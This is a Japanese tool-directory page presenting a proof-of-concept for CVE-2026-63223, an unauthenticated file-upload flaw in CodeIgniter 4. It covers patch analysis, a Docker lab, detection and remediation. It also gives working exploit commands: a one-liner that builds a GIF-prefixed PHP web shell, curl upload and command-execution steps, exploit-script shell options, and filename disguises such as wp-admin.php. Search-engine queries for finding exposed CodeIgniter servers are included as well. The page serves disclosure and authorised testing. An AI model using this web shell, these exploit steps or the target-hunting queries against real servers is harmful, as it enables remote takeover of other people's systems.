Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63223-POC — CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_inファイルアップロードRCE(CVSS 9.8)。イメージマジックバイトを使用した無制限のファイルアップロードバイパスによる認証不要のリモートコード実行。v4.7.4で修正済み。 | Kitploit
ツール/GitHubGitHub/imbas007/cve-2026-63223-poc
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践
GitHubimbas007/cve-2026-63223-poc

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_inファイルアップロードRCE(CVSS 9.8)。イメージマジックバイトを使用した無制限のファイルアップロードバイパスによる認証不要のリモートコード実行。v4.7.4で修正済み。

リポジトリを見る
121ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2026-63223 PoC — CodeIgniter 4 ファイルアップロード RCE

CVSS 9.8 (緊急) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: 危険なタイプのファイルの無制限アップロード
修正済み: CodeIgniter 4 v4.7.4
セキュリティ勧告: GHSA-mmj4-63m4-r6h5


脆弱性の概要

CodeIgniter 4 の is_image および mime_in ファイルアップロード検証ルールは、コンテンツから導出される MIME タイプ(マジックバイト)のみを検査し、クライアントが指定したファイル名の拡張子は検査しません。

認証されていない攻撃者は、PHP ウェブシェルの先頭に画像マジックバイト(GIF89a、\xFF\xD8\xFF\xE0、\x89PNG…)を付加し、shell.php という名前を付けることで、危険な実行可能拡張子を保持したまま is_image または mime_in の検証を通過できます。アップロードされたファイルが Web からアクセス可能なディレクトリに保存されると、攻撃者は任意のリモートコード実行を達成できます。

発動条件(3つすべてを満たす必要があります)

  1. アプリケーションが is_image または mime_in を使用してアップロードを検証しており、独立した拡張子チェック(ext_in)がない
  2. アップロードされたファイルがクライアントが指定したファイル名で保存される(.php 拡張子が保持される)
  3. アップロードがサーバーが PHP を実行するWeb からアクセス可能なディレクトリに保存される

パッチ分析

v4.7.4 の修正では、2つの新しいヘルパーメソッドが追加され、検証ルールに組み込まれています:

is_image — 修正前と修正後

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
return true;

// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
    return false;
}
if ($this->hasInvalidImageClientExtension($file)) {  // ← NEW
    return false;
}
return true;

mime_in — 修正前と修正後

root@kitploit:~
// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
return true;

// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
    return false;
}
if ($this->hasMismatchedClientExtension($file)) {    // ← NEW
    return false;
}
return true;

新しいヘルパーメソッド

root@kitploit:~
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    return mb_strpos($type, 'image') !== 0;
}

// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    if ($clientExtension === '') return false;
    return $file->guessExtension() !== $clientExtension;
}

重要なポイント: この修正は既存の Mimes::guessTypeFromExtension() および $file->guessExtension() メソッドに委譲し、2番目の検証レイヤーを追加しています。拡張子のないアップロード(例: JavaScript Blob オブジェクト)は引き続き受け入れられます。


PoC コンポーネント

root@kitploit:~
CVE-2026-63223-POC/
├── README.md                    ← this file
├── Dockerfile                   ← vulnerable lab setup
├── docker-compose.yml           ← easy `docker compose up`
├── exploit/
│   └── exploit.py               ← Python exploit script
└── vulnerable-app/
    ├── app/Controllers/Upload.php    ← vulnerable controller
    ├── app/Config/Routes.php         ← routing
    └── app/Views/
        ├── upload_form_avatar.php    ← is_image bypass form
        ├── upload_form_doc.php       ← mime_in bypass form
        └── upload_form_safe.php      ← SAFE reference form

クイックスタート — Docker ラボ

root@kitploit:~
# Build & start the vulnerable app
docker compose up -d

# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"

# Open in browser
open http://localhost:8080/upload/avatar

エンドポイント


悪用方法

方法 1 — 対話式

root@kitploit:~
# Install dependency
pip install requests

# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"

# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell

# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"

方法 2 — 手動(curl)

root@kitploit:~
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data

# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar

# Execute
curl http://localhost:8080/uploads/evil.php?c=id

方法 3 — 異なる MIME 偽装

root@kitploit:~
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method jpg --filename wp-admin.php --cmd "ls -la /"

# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
    --method png --filename config.phtml --shell

なぜ機能するのか

PHP の $_FILES スーパーグローバルと CodeIgniter の UploadedFile オブジェクトは、2つの別々の情報を保持しています:

  1. type / getMimeType() — ファイルのマジックバイト(コンテンツベース)から導出され、ブラウザがマルチパートアップロードの Content-Type 部分として送信するもの
  2. name / getClientName() — クライアントから送信された元のファイル名(拡張子を含む)

パッチ適用前は、is_image と mime_in は #1 のみをチェックしていました。攻撃者は次のように送信します:

root@kitploit:~
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif

GIF89a
<?php system($_REQUEST['c']); ?>
  • ✅ is_image は image/gif を検出 → 通過
  • ✅ ファイルは shell.php として保存される(クライアント名が保持される)
  • ✅ Apache/PHP-FPM がアップロードディレクトリ内の .php ファイルを実行 → RCE

パッチ適用後、拡張子が相互検証されます:

  • ❌ hasInvalidImageClientExtension() が .php を検出 → 拒否

検出とハンティング

ログ/フォレンジック検出

アップロードディレクトリ内で、画像マジックバイトを持つ PHP/PHTML/PHP5 ファイルを探します:

root@kitploit:~
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'

# Or check raw bytes
xxd uploads/*.php | head

Shodan クエリ

root@kitploit:~
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"

# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"

# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"

# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"

# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"

Fofa クエリ

root@kitploit:~
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"

# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"

# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"

# CI4 session fingerprint in Set-Cookie
header="ci_session"

# Broad CI4 detection
app="CodeIgniter Framework"

ZoomEye / Censys

root@kitploit:~
# ZoomEye
app:"CodeIgniter" +"file upload"

# Censys
services.http.response.body:"Welcome to CodeIgniter"

修復策

  1. CodeIgniter 4 v4.7.4 以降へアップグレードする
  2. 回避策(パッチ適用が遅れる場合): is_image/mime_in と併せて ext_in ルールを追加する
  3. 多層防御:
    • アップロードを Web ルートの外に保存し、readfile() プロキシ経由で配信する
    • Web サーバーレベルでアップロードディレクトリの PHP 実行を無効化する:
      root@kitploit:~
      <Directory "/var/www/html/public/uploads">
          php_admin_flag engine off
      </Directory>
      
    • クライアント名を保持せず、サーバー制御のファイル名を生成する

参考情報

  • GitHub セキュリティ勧告 — GHSA-mmj4-63m4-r6h5
  • 修正コミット — b6e9a4f
  • リリース v4.7.4
  • IONIX 脅威センター分析
  • NVD エントリ

法的通知

この PoC は教育目的および許可を得たセキュリティテスト専用です。この脆弱性は責任を持って開示され、修正済みです。自分が所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。著者は誤用に対する責任を負いません。

ツールをダウンロード
エンドポイント脆弱性検証
/upload/avatar脆弱is_image のみ
/upload/document脆弱mime_in のみ
/upload/safe安全(対照群)is_image + ext_in